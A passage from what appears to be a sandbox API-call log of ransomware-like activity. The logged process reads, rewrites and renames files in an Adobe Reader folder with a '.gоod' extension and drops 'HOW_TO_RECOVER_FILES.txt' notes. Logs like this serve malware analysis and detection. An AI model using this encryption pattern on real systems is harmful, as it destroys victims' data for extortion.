(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png.gоod", lpFilePart=0x0) returned 0x90 [0243.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0243.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8d0d5e14, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20cc)) returned 1 [0243.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0243.002] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png.gоod")) returned 1 [0243.003] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0243.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0243.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x3b385b0 | out: lpFileInformation=0x3b385b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c)) returned 1 [0243.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0243.003] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0243.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0243.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0243.004] GetFileType (hFile=0x858) returned 0x1 [0243.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0243.004] GetFileType (hFile=0x858) returned 0x1 [0243.004] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0243.004] ReadFile (in: hFile=0x858, lpBuffer=0x3b38b18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x3b38b18*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0243.005] CloseHandle (hObject=0x858) returned 1 [0243.005] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0243.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0243.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0243.005] GetFileType (hFile=0x858) returned 0x1 [0243.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0243.005] GetFileType (hFile=0x858) returned 0x1 [0243.005] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x456c [0243.006] WriteFile (in: hFile=0x858, lpBuffer=0x3b3a1d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3b3a1d8*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0243.006] CloseHandle (hObject=0x858) returned 1 [0243.007] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0243.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0243.007] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0243.007] GetFileType (hFile=0x858) returned 0x1 [0243.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0243.007] GetFileType (hFile=0x858) returned 0x1 [0243.007] ReadFile (in: hFile=0x858, lpBuffer=0x3b3c800, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x3b3c800*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0243.098] CloseHandle (hObject=0x858) returned 1 [0243.099] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0243.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0243.099] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0243.099] GetFileType (hFile=0x858) returned 0x1 [0243.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0243.099] GetFileType (hFile=0x858) returned 0x1 [0243.099] WriteFile (in: hFile=0x858, lpBuffer=0x387cb30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x387cb30*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0243.099] CloseHandle (hObject=0x858) returned 1 [0243.099] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png", lpFilePart=0x0) returned 0x92 [0243.099] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png.gоod", lpFilePart=0x0) returned 0x97 [0243.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0243.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8d1bac8e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x457c)) returned 1 [0243.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0243.100] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons_retina.png.gоod")) returned 1 [0243.101] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x96 [0243.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0243.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0244.301] GetFileType (hFile=0x828) returned 0x1 [0244.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0244.301] GetFileType (hFile=0x828) returned 0x1 [0244.304] WriteFile (in: hFile=0x828, lpBuffer=0x3c70370*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3c70370*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0244.344] CloseHandle (hObject=0x828) returned 1 [0244.344] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x91 [0244.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0244.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0244.345] GetFileType (hFile=0x828) returned 0x1 [0244.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0244.345] GetFileType (hFile=0x828) returned 0x1 [0244.346] WriteFile (in: hFile=0x828, lpBuffer=0x3ce1378*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x3ce1378*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0244.346] CloseHandle (hObject=0x828) returned 1 [0244.346] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0244.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0244.346] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0244.347] GetFileType (hFile=0x828) returned 0x1 [0244.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0244.347] GetFileType (hFile=0x828) returned 0x1 [0244.348] WriteFile (in: hFile=0x828, lpBuffer=0x3ce4cf0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3ce4cf0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0244.348] CloseHandle (hObject=0x828) returned 1 [0244.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0244.348] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js", lpFilePart=0x0) returned 0x6d [0244.348] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0244.349] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.349] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0244.349] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2f1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0244.349] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0244.349] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0244.349] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0244.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0244.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0244.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0244.350] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js", lpFilePart=0x0) returned 0x6d [0244.350] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b400 [0244.350] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.350] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0244.350] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2f1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0244.350] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0244.350] FindNextFileW (in: hFindFile=0x134b400, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0244.351] FindClose (in: hFindFile=0x134b400 | out: hFindFile=0x134b400) returned 1 [0244.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0244.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0244.351] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js", lpFilePart=0x0) returned 0x77 [0244.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0244.351] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 